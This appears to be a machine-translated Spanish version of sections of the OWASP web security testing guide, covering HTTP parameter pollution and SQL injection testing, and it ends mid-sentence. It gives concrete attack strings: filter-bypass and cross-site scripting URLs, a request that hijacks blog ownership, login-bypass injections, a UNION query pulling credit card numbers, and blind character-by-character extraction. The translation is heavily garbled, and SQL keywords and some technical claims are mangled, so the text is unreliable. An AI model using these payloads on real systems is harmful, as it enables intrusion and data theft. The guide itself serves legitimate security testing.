Testing For HTTP Verb Tampering

Pruebas para verbo HTTP manipulación
IDENTIFICACIÓN
WSTG-INPV-03
Este el contenido ha sido fusionado en : Probar métodos HTTP
de pruebas de seguridad web v4.2
230
Pruebas para el parámetro HTTP Contaminación
IDENTIFICACIÓN
WSTG-INPV-04
Resumen
Parámetro HTTP Contaminación prueba la respuesta de las aplicaciones a recepción múltiples

parámetros HTTP con el mismo nombre ;
para Por ejemplo , si el parámetro nombre de usuario es incluido en los parámetros GET o POST
dos veces .
Abastecimiento múltiples parámetros HTTP con el mismo nombre puede causar un solicitud a
interpretar valores en imprevistos
maneras . Por explotando estos efectos , un agresor puede estar disponible para omitir la
validación de entrada , activar solicitud errores o modificar
valores de variables internas . Como parámetro HTTP La contaminación (en resumen, HPP) afecta
a un componente básico de todas las tecnologías web ,
lado del servidor y del cliente ataques existir .
Los estándares HTTP actuales no incluir guía en cómo a interpretar múltiples parámetros de
entrada con el mismo nombre .
Para Por ejemplo , RFC 3986 simplemente define el término Consulta Cadena como una serie de
valor de campo pares y RFC 2396 define
clases de invertido y sin reservas consulta cadena caracteres . Sin un estándar establecido, la
aplicación web componentes
manejar este Estuche de borde en una variedad de maneras ( ver la tabla a continuación para
detalles ).
Por en sí , esto es no necesariamente un indicación de vulnerabilidad . Sin embargo , si el

desarrollador es no consciente del problema , el
presencia de duplicado parámetros puede producir un anómalo comportamiento en la aplicación

eso puede ser potencialmente
explotado por un atacante . Como suele ocurrir en seguridad , lo inesperado Los comportamientos
son una fuente habitual. de debilidades eso podría llevar
al parámetro HTTP Contaminación ataques en este caso. Para presentar mejor esto clase de
vulnerabilidades y el resultado de
Ataques HPP , es interesante a analizar algo de vida real ejemplos eso tener estado descubierto en
el pasado .
Validación de entrada y omisión de filtros
En 2009, inmediatamente después de la publicación del primero investigación en el parámetro

HTTP La contaminación , la técnica recibió
atencion desde la seguridad comunidad como posible forma para evitar los firewalls de
aplicaciones web .
Uno de estos defectos , afectando Las reglas básicas de inyección SQL de ModSecurity representan
una solución perfecta. ejemplo de la impedancia
discordancia entre Aplicaciones y filtros . La ModSeguridad filtrar haría correctamente aplicar una
negación lista para el siguiente
cadena : seleccione 1,2,3 de la tabla, de este modo bloqueando este URL de ejemplo de ser
procesada por el servidor web:
/index.aspx?page = seleccione 1,2,3 de la tabla. Sin embargo , por explotando la concatenación de

múltiples parámetros HTTP ,
un agresor podría provocar que el servidor de aplicaciones concatenar la cadena después de

ModSecurity filtrar ya aceptado
la entrada. como un Por ejemplo , la URL / index.aspx?page = select 1&page=2,3 from table no
desencadenar el
ModSeguridad filtrar , pero la aplicación capa haría concatenar la entrada nuevamente en el

paquete malicioso completo cadena .
Otra vulnerabilidad de HPP transformado afuera a afectan a las Apple Cups, las conocidas
impresión sistema usado por muchos sistemas UNIX .
Explotar HPP, una agresor podría fácilmente desencadenar una vulnerabilidad de secuencias de
comandos entre sitios usando la siguiente URL:
http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos. La aplicación validación

control
podría ser evitado por añadiendo un kerberos adicional argumento tener un valido cadena ( por
ejemplo , vacía cadena ). como la validacion
control haría solo considere el segundo ocurrencia , la primera Kerberos parámetro era no
adecuadamente desinfectado
antes ser usado a generar Contenido HTML dinámico . Exitoso explotación haría resultado en
código JavaScript
ejecución bajo el contexto del sitio web de alojamiento.
Omisión de autenticación
Un Vulnerabilidad HPP aún más crítica era descubierto en Blogger, el popular blogging plataforma .
El error permitido
malicioso usuarios a llevar propiedad del blog de la víctima por usando la siguiente solicitud HTTP
(https://www.blogger.com/add-authors.do ):
231
POST /add-authors.do HTTP/1.1
[...]
security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList
=goldshl
ager19test%40gmail.com ( correo electrónico del atacante )&ok=Invitar
La falla residió en la autenticación mecanismo usado por la aplicación web , como seguridad
controlar era realizado en
la primera ID de blog parámetro , mientras que la operación real usé el segundo ocurrencia .
Esperado Comportamiento por Servidor de aplicaciones
La siguiente tabla ilustra cómo diferentes tecnologías web comportarse en presencia de múltiple
ocurrencias de la misma
Parámetro HTTP .
Dada la URL y la cadena de consulta : http://example.com/?color=red&color=blue
Backend del servidor de aplicaciones web Analizando Resultado Ejemplo
ASP.NET/IIS Todo ocurrencias concatenado con una coma color= rojo, azul
ASP/IIS Todo ocurrencias concatenado con una coma color= rojo, azul
PHP/Apache último ocurrencia solo color = azul
PHP / Zeus último ocurrencia solo color = azul
JSP, Servlet/Apache Tomcat primero ocurrencia solo color = rojo
JSP, Servlet / Servidor de aplicaciones Oracle 10g primero ocurrencia solo color = rojo
JSP, servlet/ embarcadero Primero ocurrencia solo color = rojo

IBM Lotus Domino último ocurrencia solo color = azul
Servidor HTTP IBM primero ocurrencia solo color = rojo
mod_perl , libapreq2/Apache primero ocurrencia solo color = rojo
Perl CGI/Apache primero ocurrencia solo color = rojo
mod_wsgi (Python) / Apache primero ocurrencia solo color = rojo
Python / Zope Todos ocurrencias en el tipo de datos de lista color=[' rojo','azul ']
( fuente : Appsec UE 2009 Carettoni & Paola)
Objetivos de la prueba
Identificar el backend y el análisis. método usado .
Evaluar inyección puntos e intente omitir los filtros de entrada utilizando HPP.
Cómo Probar
Por suerte , porque la tarea de parámetros HTTP es típicamente manejado a través del servidor de
aplicaciones web , y no del
solicitud código mismo , probando la respuesta a parámetro contaminación debe ser estándar en
todo todo páginas y acciones .
Sin embargo , a medida que se profundiza negocio lógica conocimiento es Si es necesario , probar
HPP requiere pruebas manuales . Automático las herramientas pueden
solo parcialmente asistir auditores como ellos tender a generar también muchos falsos positivos.
Además , HPP puede manifestarse mismo en
lado del cliente y lado del servidor componentes .
HPP del lado del servidor
232
Para probar las vulnerabilidades de HPP , identifique cualquier forma o acción eso permite entrada
proporcionada por el usuario . Consulta cadena parámetros en
Las solicitudes HTTP GET son fáciles a ajustar en la barra de navegación del navegador. si el
formulario acción envía datos a través de POST, el
ensayador voluntad necesidad usar un interceptar proxy a manosear con los datos POST como es
enviado al servidor. Teniendo identificado un
parámetro de entrada particular para probar, se pueden editar los datos GET o POST interceptar la
solicitud , o cambiar la consulta
cadena después de que se cargue la página de respuesta . Para probar las vulnerabilidades de HPP
simplemente agregar lo mismo parámetro al GET o
POST datos pero con un diferente valor asignado .
Para ejemplo : si probando la cadena de búsqueda parámetro en la consulta cadena , la URL de

solicitud sería incluir eso
parámetro nombre y valor :
http://ejemplo.com/?search_string=gatitos
El parámetro particular podría estar oculto entre varios otro parámetros , pero el enfoque es el
mismo ; dejar el
otro parámetros en su lugar y agregue el duplicado :
http://example.com/?mode=guest&search_string=gatitos&num_results=100
anexar lo mismo parámetro con un diferente valor :
http://example.com/?
mode=guest&search_string=gatitos&num_results=100&search_string=cachorros
y enviar la nueva solicitud .
Analice la página de respuesta para determinar qué los valores fueron analizado . en lo anterior
ejemplo , la búsqueda resultados puede
mostrar gatitos , cachorros , algunos combinación de ambos ( gatitos,cachorros) o gatitos ~

cachorros o
[' gatitos ',' cachorros ' ]) , mayo dar un vacío resultado o página de error.
Este comportamiento , ya sea usando el primero , último , o combinación de parámetros de

entrada con el mismo nombre es muy probable ser
coherente a lo largo de todo solicitud . Si o no este comportamiento predeterminado revela un

potencial vulnerabilidad depende
sobre la validación y el filtrado de entradas específicas específico a una aplicación particular .

Como regla general: si entrada existente
validación y otros seguridad los mecanismos son suficientes en entradas individuales, y si el

servidor asigna solo el primero o último
contaminado parámetros , entonces parámetro contaminación hace no revelar una

vulnerabilidad . Si el duplicado los parámetros son
aplicación web concatenada y diferente Los componentes utilizan diferentes. ocurrencias o

pruebas genera un error, hay es un
aumentó probabilidad de ser capaz usar el parámetro contaminación a desencadenar seguridad
vulnerabilidades .
Una más profunda análisis haría requerir tres solicitudes HTTP para cada parámetro HTTP :
1. Enviar una solicitud HTTP que contiene el parámetro estándar nombre y valor , y registre la
respuesta HTTP. P.ej .
página?par1=val1
2. Reemplace el parámetro valor con un manipulado valor , envíe y registre la respuesta HTTP. P.ej
. ¿página?
par1=HPP_TEST1
3. Enviar una nueva solicitud combinando los pasos (1) y (2). Nuevamente , guarde la respuesta
HTTP. P.ej . ¿página?
par1=val1&par1=HPP_TEST1
4. Compara las respuestas obtenidas durante todo anterior pasos . Si la respuesta de (3) es
diferente de (1) y el
la respuesta de (3) es también diferente de (2), hay es un impedancia discordancia eso puede ser
eventualmente abusado a
desencadenar vulnerabilidades HPP .
Elaborar un exploit completo a partir de un parámetro contaminación debilidad es más allá del
alcance de este texto . Ver las referencias para
ejemplos y detalles .
HPP del lado del cliente
233
Similarmente a HPP del lado del servidor , pruebas manuales es el único confiable técnica a auditar
aplicaciones web en orden a detectar
parámetro contaminación vulnerabilidades conmovedor lado del cliente componentes . Mientras

que en el lado del servidor variante del atacante
aprovecha una aplicación web vulnerable a acceso datos protegidos o a llevar a cabo
comportamiento eso cualquiera no permitido o no
supuesto para ser ejecutado , del lado del cliente ataques apuntar a subvertir lado del cliente
componentes y tecnologías .
Para probar el lado del cliente HPP vulnerabilidades , identificar cualquier forma o acción eso
permite entrada del usuario y muestra un resultado de eso
entrada de vuelta al usuario . Una página de búsqueda es ideal, pero un cuadro de inicio de sesión
podría no trabajo ( como podría no mostrar un inválido nombre de usuario
volver al usuario ) .
Similarmente a HPP del lado del servidor , contaminar cada parámetro HTTP con %26HPP_TEST y
busque URL decodificada ocurrencias de
el usuario proporcionado carga útil :
&HPP_TEST
& amp;HPP _PRUEBA
etc.
En particular, pagar atención a respuestas que tienen vectores HPP dentro datos , src , href
atributos o formas acciones .
De nuevo , ya sea o no este comportamiento predeterminado revela un potencial vulnerabilidad

depende en la validación de entrada específica ,
filtrado y aplicación negocio lógica . Además , es importante a aviso eso este la vulnerabilidad
también puede afectar consulta
cadena parámetros utilizado en XMLHttpRequest (XHR), tiempo de ejecución atributo creación y

otras tecnologías de complementos ( por ejemplo , Adobe
flash variables flashvars ).
Herramientas
Escáneres pasivos /activos OWASP ZAP
Referencias
Libros blancos
Parámetro HTTP Contaminación - Luca Carettoni , Stefano di Paola
Parámetro HTTP del lado del cliente Contaminación Ejemplo ( fallo de Yahoo! Classic Mail ) -
Stefano di Paola
Cómo a Detectar parámetro HTTP Contaminación Ataques - Crisóstomos Daniel
CAPEC-460: Parámetro HTTP Contaminación (HPP) - Evgeny Lebanidze
Descubrimiento automatizado de Parámetro Contaminación Vulnerabilidades en Aplicaciones

Web - Marco Balduzzi , Carmen
Torrano Giménez , Davide Balzarotti , Engin Kirda
234
Pruebas para inyección SQL
IDENTIFICACIÓN
WSTG-INPV-05
Resumen
inyección SQL pruebas cheques si él es posible a inyectar datos en la aplicación para que él ejecuta
un SQL controlado por el usuario
consulta en la base de datos . Probadores encontrar una inyección SQL vulnerabilidad si la

aplicación utiliza la entrada del usuario para crear consultas SQL
sin Validación de entrada adecuada . Un éxito explotación de este clase de vulnerabilidad permite
un no autorizado usuario a
acceso o manipular datos en la base de datos .
Una inyección SQL ataque consiste de inserción o “ inyección ” de ya sea un parcial o completar
consulta SQL a través de la entrada de datos o
transmitido desde el cliente (navegador) a la aplicación web . Una inyección SQL exitosa El ataque
puede leer datos confidenciales.
desde la base de datos , modificar datos de la base de datos ( insertar / actualizar / eliminar ),
ejecutar administración operaciones en la base de datos
( como apagar el DBMS), recuperar el contenido de un archivo dado existente en el sistema de

archivos DBMS o escribir archivos en el
sistema de archivos y, en algunos casos, problema comandos al operativo sistema . inyección SQL
Los ataques son un tipo. de inyección
ataque , en el que se inyectan comandos SQL en la entrada del plano de datos para a afectar la
ejecución de SQL predefinido
comandos .
En general, la forma en que las aplicaciones web construir sentencias SQL que involucra la sintaxis
SQL escrito por los programadores es
mezclado con datos proporcionados por el usuario . Ejemplo :
seleccionar título , texto de la noticia donde identificación=$identificación
en el ejemplo encima de la variable $id contiene datos proporcionados por el usuario , mientras
que el resto es el SQL estático parte
suministrado por el programador ; haciendo la declaración SQL dinámico .
porque el camino él era construido , el usuario puede suministrar entrada elaborada intentando a
hacer la declaración SQL original
ejecutar más comportamiento del usuario elección . El ejemplo abajo ilustra los datos
proporcionados por el usuario “10 o 1=1”, cambiando
la lógica de la sentencia SQL , modificando la cláusula WHERE agregando una condición “ o 1=1”.
seleccionar título , texto de la noticia donde id=10 o 1=1
Inyección SQL Los ataques se pueden dividir. en lo siguiente tres clases :
En banda : los datos son extraído usando el mismo canal eso es usado a inyectar el código SQL .
Este es lo mas
directo amable de ataque , en el que los datos recuperados son presentado directamente en la
página web de la aplicación .
Fuera de banda : los datos son recuperado usando un diferente canal ( p. ej ., un correo
electrónico con los resultados de la consulta es generado
y enviado al probador ) .
inferencial o ciego : allí No hay una transferencia real de datos, sino que el probador es capaz a
reconstruir la información por enviando
peticiones particulares y observando el resultado comportamiento del servidor de base de datos.
Una inyección SQL exitosa ataque requiere el atacante a elaborar un sintácticamente Consulta SQL
correcta . Si la aplicación
devoluciones un mensaje de error generado por un incorrecto consulta , entonces él puede ser
más fácil para un agresor a reconstruir la lógica
de la consulta original y, por lo tanto , entender cómo a realizar la inyección correctamente . Sin
embargo , si la aplicación se esconde
los detalles del error , luego el probador debe poder hacer ingeniería inversa a la lógica de la
consulta original .
Sobre las técnicas a explotar la inyección SQL defectos hay cinco los comunes técnicas . También
aquellos técnicas
A veces se puede utilizar de forma combinada. manera ( ej . unión operador y fuera de banda ):
235
Unión Operador : se puede utilizar cuando la inyección SQL defecto sucede en una declaración
SELECT , haciendo él posible a
combinar dos consultas en un solo resultado o conjunto resultante .
Booleano : use booleano condición (es) para verificar si cierto las condiciones son verdaderas o
falsas.
Basado en errores : esto técnica fuerza la base de datos a generar un error, dándole al atacante o
ensayador información al
cual para refinar su inyección .
Fuera de banda : técnica usado a recuperar datos usando un diferente canal ( por ejemplo , hacer
una conexión HTTP a envía el
resultados a un servidor web).
Retraso de tiempo : usar la base de datos comandos ( por ejemplo , dormir ) para demora
respuestas en condicional consultas . Él es útil cuando
agresor no tener alguno amable de respuesta ( resultado , salida o error) de la aplicación .
Identificar la inyección SQL puntos .
Evaluar la gravedad de la inyección y el nivel de acceso que se puede lograr a través de él .
Cómo Probar
Detección Técnicas
El primer paso en esta prueba es a entender cuando la solicitud interactúa con un servidor DB para
poder a acceso algunos datos.
Típico ejemplos de casos cuando un solicitud necesidades a hablar a una base de datos incluyen :
Autenticación formas : cuando autenticación es realizado Al utilizar un formulario web , es

probable que el usuario cartas credenciales
estan controlados contra una base de datos eso contiene todo nombres de usuario y contraseñas (
o , mejor , hash de contraseña ).
Buscar motores : la cuerda enviado por el usuario podría usarse en una consulta SQL eso extractos
todo importante registros
de una base de datos .
Sitios de comercio electrónico: los productos y sus Las características ( precio , descripción ,
disponibilidad , etc ) son muy probable ser
almacenados en una base de datos .
El probador tiene que Hacer una lista de todos los campos de entrada cuyo valores podría usarse
para elaborar una consulta SQL , incluida la opción oculta
campos de solicitudes POST y luego probarlas por separado , intentando a interferir con la
consulta y a generar un error.
Considerar también encabezados HTTP y cookies.

el muy primera prueba generalmente consiste de agregando una comilla simple ' o un punto y
coma ; Al campo o parámetro bajo prueba.
La primera es utilizado en SQL como una cadena terminador y, si no filtrado por la aplicación ,
daría lugar a un incorrecto consulta . El
segundo es usado a finalizar una declaración SQL y, si él es no filtrado , es es también probable a

generar un error. La salida de un
campo vulnerable podría parecerse a lo siguiente ( en un Microsoft SQL Server, en este caso):
Proveedor Microsoft OLE DB para el error de controladores ODBC '80040e14'
[Microsoft ] [ Controlador ODBC de SQL Server] [SQL Server] Sin cerrar cotización marca antes de
personaje cadena ''.
/destino/destino.asp, línea 113
También comentario delimitadores (-- o /* */ , etc ) y otras palabras clave SQL como AND y OR se
pueden utilizar tratar de modificar
la consulta . Un muy simple pero a veces aún eficaz técnica es simplemente a insertar una cadena
donde un numero es esperado ,
como un error como el siguiente podría generarse :
Proveedor Microsoft OLE DB para el error de controladores ODBC '80040e07'
[Microsoft ] [ Controlador ODBC de SQL Server] [SQL Server] Error de sintaxis al convertir el
varchar valor 'prueba' a una columna de tipo de datos En t .
/destino/destino.asp, línea 113
Supervise todas las respuestas del servidor web y eche un vistazo a la fuente HTML/JavaScript.
código . A veces el
el error es presente adentro a ellos pero para alguno El motivo ( p. ej ., error de JavaScript,
comentarios HTML , etc. ) es no presentado hacia
236
usuario . Un mensaje de error completo , como los de los ejemplos , proporciona una gran riqueza
de información al probador en orden a montar un
exitoso inyección ataque . Sin embargo , las aplicaciones a menudo no proporcionar tanto detalle :
un simple 'Error del servidor 500' o un
Es posible que se emita una página de error personalizada , lo que significa eso nosotros necesidad
usar ciego inyección técnicas . En cualquier caso , es muy
importante para probar cada campo por separado : solo una variable debe variar mientras todo los
demás permanecer constante , en orden a
precisamente entender cual Los parámetros son vulnerables y cuáles no .
Inyección SQL estándar Pruebas
Inyección SQL clásica
Considere la siguiente consulta SQL :
SELECCIONE * DE Usuarios DONDE Nombre de usuario ='$ nombre de usuario ' Y Contraseña ='$
contraseña '
consulta similar es generalmente utilizado desde la aplicación web para a autenticar a un usuario .
Si la consulta devuelve un valor él
medio eso dentro de la base de datos un usuario con ese conjunto de cartas credenciales existe ,
entonces el usuario es permitido a acceso al sistema ,
de lo contrario acceso es denegado . Los valores de los campos de entrada son generalmente
obtenido del usuario a través de un formulario web .
Suponer nosotros inserte lo siguiente Nombre de usuario y contraseña valores :
$ nombre de usuario = 1' o '1' = '1
$ contraseña = 1' o '1' = '1
La consulta será :
SELECCIONE * DE Usuarios DONDE Nombre de usuario ='1' O '1' = '1' Y Contraseña ='1' O '1' = '1'
Si nosotros suponer que los valores de los parámetros son enviados al servidor a través del
método GET , y si el dominio del
sitio web vulnerable es www.example.com, la solicitud eso Bueno llevar afuera será :
http://www.example.com/index.php?username=1'%20or%20'1'%20=
%20'1&password=1'%20or%20'1'%20=%20' 1
Después de un breve análisis nosotros aviso que la consulta devuelve un valor ( o un conjunto de
valores ) porque la condición es siempre cierto
(O 1=1). En esto forma en que el sistema ha autenticado al usuario sin conociendo el nombre de
usuario y contraseña .
En algunos sistemas el primero fila de una tabla de usuario sería un administrador usuario . Este
puede ser el perfil regresó en
algunos casos.
Otro ejemplo de consulta es el siguiente :

SELECCIONE * DE Usuarios DONDE (( Nombre de usuario ='$ nombre de usuario ') Y ( Contraseña
=MD5('$ contraseña ')))
En este caso , hay dos problemas , uno pendiente al uso de los paréntesis y uno pendiente al uso
de hash MD5
función . Primero de todos nosotros Resuelve el problema de los paréntesis . Eso simplemente
consiste de sumando un numero de clausura
paréntesis hasta nosotros obtener una corregida consulta . para resolver el segundo problema ,
tratamos de evadir el segundo condición .
Nosotros agregar a nuestro consultar un símbolo final que medio que un comentario es comienzo .
En esto manera , todo eso sigue semejante
el símbolo es considerado un comentario . Cada DBMS tiene su propio sintaxis para comenta , sin
embargo , un símbolo común a la
mayor que mayoría de las bases de datos es * . En Oracle el símbolo es -- . Este dijo , los valores
eso usaremos como nombre de usuario
y Contraseña son:
$ nombre de usuario = 1' o '1' = '1' ))/ *
$ contraseña = foo
En esto manera , lo haremos obtener lo siguiente consulta :
SELECCIONE * DE Usuarios DONDE (( Nombre de usuario ='1' o '1' = '1' ))/ *') Y ( Contraseña
=MD5('$ contraseña ')))
237
( Pendiente a la inclusión de un comentario delimitador en el nombre de usuario $ valorar la

contraseña parte de la consulta será ignorado . )
La solicitud de URL será :
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/
*&password=foo
Este puede devolver un número de valores . A veces , la autenticación código verifica que el
numero de regresó
registros / resultados es exactamente igual a 1. En el anterior ejemplos , esto situación Sería difícil
( en la base de datos allá es
solo uno valor por usuario ). En orden a ir alrededor este problema , es es suficiente a insertar un
comando SQL eso impone un
condición que el numero de los regresados resultados debe ser uno . ( Uno registro devuelto ) En
orden a alcanzar este objetivo , utilizamos
el operador LIMIT < num > , donde <num> es el número de los resultados / registros eso nosotros
desear ser devuelto . Con respeto
al anterior ejemplo , el valor de los campos Nombre de usuario y contraseña se modificará de la

siguiente manera :
$ nombre de usuario = 1' o '1' = '1')) LÍMITE 1/*
$ contraseña = foo
En esto manera , nosotros crear una solicitud como el siguiente :
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/
*&password=foo
SELECCIONAR Declaración
SELECCIONE * DE productos DONDE id_product =$ id_product
Considerar también la petición a un guión que ejecuta la consulta arriba :
http://www.example.com/product.php?id=10
Cuando el probador intenta una válida valor ( por ejemplo , 10 en este caso), la aplicación voluntad
devolver la descripción de un producto . Un bien
forma para probar si la aplicación es vulnerable en esto guión es jugar con lógica , utilizando los
operadores AND y OR.
Considere la solicitud :
http://www.example.com/product.php?id=10 Y 1=2
SELECCIONE * DE productos DONDE id_product =10 Y 1=2
En este caso, probablemente la aplicación haría devolver alguno mensaje narración a nosotros allá
no hay contenido disponible o un espacio en blanco
página. Entonces el evaluador puede enviar una declaración verdadera y verificar si allá es un
valido resultado :
http://www.example.com/product.php?id=10 Y 1=1
apilados Consultas
Dependiente en la API que la aplicación web es usando y el DBMS ( por ejemplo , PHP +
PostgreSQL, ASP+SQL SERVER)
él puede ser posible a ejecutar múltiple consultas en uno llamar .

Lejos a explotar lo anterior guión sería :
http://www.example.com/product.php?id=10; INSERTAR EN usuarios (…)
Este forma es posible a ejecutar muchos consultas seguidas e independientes del primero consulta
.
238
Tomando huellas dactilares de la base de datos
Incluso a través del lenguaje SQL es un estándar, cada DBMS tiene su peculiaridad y se diferencia
de cada uno otros en muchos
aspectos como especial comandos , funciones a recuperar datos como usuarios nombres y bases
de datos , características , comentarios
línea, etc.
Cuando los probadores mover a una inyección SQL más avanzada explotación ellos necesidad a
saber cual es el final base de datos
es .
Errores Devuelto por la aplicación
La primera forma a encontrar afuera que parte trasera base de datos es usado es por observando
el error devuelto por la aplicación . El
A continuación se presentan algunos ejemplos de mensajes de error :
MySQL :
Tú tener un error en su sintaxis SQL ; revisa el manual
eso corresponde a la versión de su servidor MySQL Para el
bien sintaxis para usar cerca de '\'' en la línea 1
Un UNION SELECT completo con La versión ( ) también puede ayuda a conoce el final base de
datos .
SELECCIONE id, nombre DE los usuarios DONDE id=1 UNION SELECT 1, límite de versión ( ) 1,1
Oráculo:
ORA-00933: comando SQL no adecuadamente terminó
Servidor MS SQL:
Error del cliente nativo de Microsoft SQL '80040e14'
No cerrado cotización marca después del personaje cadena
SELECCIONE id, nombre DE los usuarios DONDE id=1 UNION SELECT 1, @@ limite de versión 1, 1
PostgreSQL:
Consulta falló : ERROR: error de sintaxis en o cerca
"'" en el carácter 56 en /www/site/test.php en la línea 121.
Si allá no hay mensaje de error o un mensaje de error personalizado , el evaluador puede intentar
inyectar en cadena campos usando variar
concatenación técnicas :
MySql : 'prueba' + ' ing '
SQL Server: 'prueba' ' ing '
Oráculo: 'prueba'||' En g '
PostgreSQL: 'prueba'||' En g '
Explotación Técnicas
Unión Explotación Técnica
El operador de la UNIÓN es utilizado en inyecciones SQL a unirse a una consulta , a propósito

falsificado por el probador , a la consulta original . El
resultado de los forjados consulta se unirá al resultado de la consulta original , permitiendo al

evaluador a obtener los valores de
columnas de otras mesas. Suponer para nuestro ejemplos que la consulta ejecutado desde el
servidor es el siguiente :
239
SELECCIONE Nombre , Teléfono , Dirección DE Usuarios DONDE Id=$id
Nosotros establecerá el siguiente valor de $id :
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
Nosotros voluntad tener lo siguiente consulta :
SELECCIONE Nombre , Teléfono , Dirección DE Usuarios DONDE Id=1 UNION TODOS SELECCIONE
númeroTarjetaDeCrédito,1,1 DE
Tabla de tarjetas de crédito

Cual voluntad únete al resultado de la consulta original con todo el crédito tarjeta números en la
tabla CreditCardTable . El
palabra clave TODO es necesario a conseguir alrededor consultas que usan la palabra clave
DISTINTO . Es más , nosotros aviso eso más allá de
crédito tarjeta números , nosotros tener seleccionado dos otro valores . Estos dos los valores son
necesarios porque los dos consultas
debe tener un igual número de parámetros / columnas en orden a evitar un error de sintaxis .
La primera detallar un probador necesidades a explotar la inyección SQL vulnerabilidad usando

semejante técnica es a encontrar el derecho números
de columnas en la instrucción SELECT .
En orden a lograr esto el probador puede usar la cláusula ORDER BY seguido por un número
indicando la numeración de
bases de datos columna seleccionado :
http://www.example.com/product.php?id=10 PEDIR POR 10--
Si la consulta ejecuta con éxito que el evaluador puede asumir , en este Por ejemplo , hay 10 o más
columnas en SELECT
declaración . Si la consulta falla entonces allá debe ser menos de 10 columnas regresó por la
consulta . Si allá es un error
mensaje disponible , es haría Probablemente sea:
Desconocido columna '10' en ' orden cláusula '
después del probador encuentra fuera los números de columnas , el siguiente paso es a encontrar
fuera el tipo de columnas . Asumiendo allá eran 3
columnas en el ejemplo arriba , el probador podría probar cada uno columna escriba , usando el
valor NULL a ayuda a ellos :
http://www.example.com/product.php?id=10 UNION SELECT 1,null ,null--
Si la consulta falla , el probador voluntad probablemente ver un mensaje como :
Todo celdas en una columna debe tener lo mismo tipo de datos
Si la consulta ejecuta con éxito , el primero La columna puede ser una entero . Entonces el
probador puede moverse más y así sucesivamente :
http://www.example.com/product.php?id=10 UNION SELECT 1, 1,null --
Después del éxito información reunión , dependiendo en la solicitud , puede solo muestre al
probador el primero resultado ,
porque la aplicación golosinas solo la primera línea del conjunto de resultados . En este caso , es
posible utilizar una cláusula LIMIT o el
El probador puede establecer un inválido valor , haciendo solo el segundo consulta válido
( suponiendo allá no hay entrada en la base de datos cual
El ID es 99999):
http://www.example.com/product.php?id=99999 UNION SELECT 1, 1,null --
Booleano Explotación Técnica
El booleano explotación técnica es muy útil cuando el probador encuentra una inyección SQL ciega
situación , en la que nada
es conocido sobre el resultado de un operación . Para ejemplo , este comportamiento sucede en

los casos en que el programador tiene
creó una página de error personalizada que hace no revelar cualquier cosa en la estructura de la
consulta o en la base de datos . (La página
hace no devolver un error de SQL , puede justo devolver un HTTP 500, 404 o redireccionar ).
240
Por usando inferencia métodos , es es posible a evitar este obstáculo y por lo tanto a lograr
recuperar los valores de alguno
deseado campos . Este método consiste de que lleva a cabo una serie de booleano consultas
contra el servidor, observando la
respuestas y finalmente deduciendo el significado de semejante respuestas . Nosotros considere ,

como siempre , el dominio www.ejemplo.com
y nosotros suponer eso él contiene un parámetro ID con nombre vulnerable a la inyección SQL .
Este medio eso que lleva fuera de
siguiente pedido :
http://www.example.com/index.php?id=1'
Nosotros voluntad conseguir una página con una costumbre error de mensaje que es pendiente a
un error sintáctico en la consulta . Nosotros suponer que el
consulta ejecutado en el servidor es :
SELECCIONE campo1, campo2, campo3 DE Usuarios DONDE Id='$Id'
Cual es explotable a través de los métodos visto previamente . Qué nosotros desear a obtener son
los valores del nombre de usuario campo .
Los exámenes eso nosotros voluntad ejecutar voluntad permitir a nosotros a obtener el valor del
nombre de usuario campo , extrayendo semejante valor personaje por
personaje . Este es posible mediante el uso de algunas funciones estándar , presentes en

prácticamente cada base de datos . Para nuestro
ejemplos , nosotros utilizará lo siguiente pseudofunciones :
SUBSTRING ( texto , inicio , longitud ): devuelve una subcadena comenzando desde la posición “
inicio ” de texto y de longitud “ longitud ”. Si
“ empezar ” es mayor que que la longitud de texto , la función devuelve un nulo valor .
ASCII ( carácter ) : devuelve el valor ASCII del carácter de entrada . un nulo valor es regresó si
carbonizarse es 0.
LONGITUD ( texto ) : devuelve el numero de caracteres en el texto de entrada .
A través de semejante funciones , nosotros voluntad ejecutar nuestro pruebas en la primera

personaje y, cuando nosotros tener descubrimos el valor , nosotros
voluntad aprobar al segundo y así sucesivamente hasta nosotros voluntad tener descubrió todo
valor . Los exámenes voluntad llevar ventaja del
función SUBSTRING, en orden a seleccionar solo uno carácter a la vez ( seleccionando un solo
carácter medio a imponer el
longitud parámetro a 1), y la función ASCII, para a obtener el valor ASCII , de modo que podemos
hacer números
comparación . Los resultados de la comparación se hará con todos los valores de la tabla ASCII,
hasta la derecha valor es
encontró . como un ejemplo , nosotros utilizará lo siguiente valor para Identificación :
$Id=1' AND ASCII( SUBSTRING( nombre de usuario,1,1))=97 AND '1'='1
Eso crea lo siguiente consulta (a partir de ahora en , nosotros voluntad llamar es “ inferencial
consulta "):
SELECCIONE campo1, campo2, campo3 DE Usuarios DONDE Id='1' Y

ASCII( SUBSTRING( nombredeusuario,1,1))=97 Y '1'='1'
El anterior ejemplo devuelve un resultado si y solo si el primero personaje en el campo nombre de

usuario es igual al valor ASCII
97. Si nosotros obtener un valor falso , entonces nosotros aumentar el índice de la tabla ASCII de
97 a 98 y repetir la petición . Si
en cambio nosotros Para obtener un valor verdadero , nos fijamos en poner a cero el índice de la
tabla ASCII y nosotros analizar el siguiente personaje , modificando
Los parametros de la función SUBCADENA . El problema es a entender en que forma podemos
distinguir pruebas
devolviendo un valor verdadero de esos eso falso retorno . Para hacer esto , nosotros crear una
consulta eso siempre devuelve falso. Este es
posible por usando lo siguiente valor para Identificación :
$Id=1' Y '1' = '2
Cual voluntad crear lo siguiente consulta :
SELECCIONE campo1, campo2, campo3 DE los usuarios DONDE Id='1' Y '1' = '2'
La respuesta obtenida del servidor ( que es código HTML ) será el valor falso para nuestro
pruebas . Este es suficiente a verificar
si el valor obtenido de la ejecución de lo inferencial consulta es igual al valor obtenido con la

prueba
ejecutado antes . A veces , esto método hace no trabajar . Si el servidor regresa dos diferente
páginas como resultado de dos
solicitudes web consecutivas idénticas , nosotros voluntad no ser capaz a discriminar el valor
verdadero del valor falso . En estos
casos particulares, es es necesario utilizar filtros particulares eso permitir a nosotros a eliminar el
código eso cambios entre los dos
241
solicitudes y a obtener una plantilla . Más tarde por cada inferencial pedido ejecutado , nosotros
voluntad extraer la plantilla relativa
de la respuesta usando el mismo función , y nosotros voluntad realizar un control entre los dos
plantillas en orden para decidir
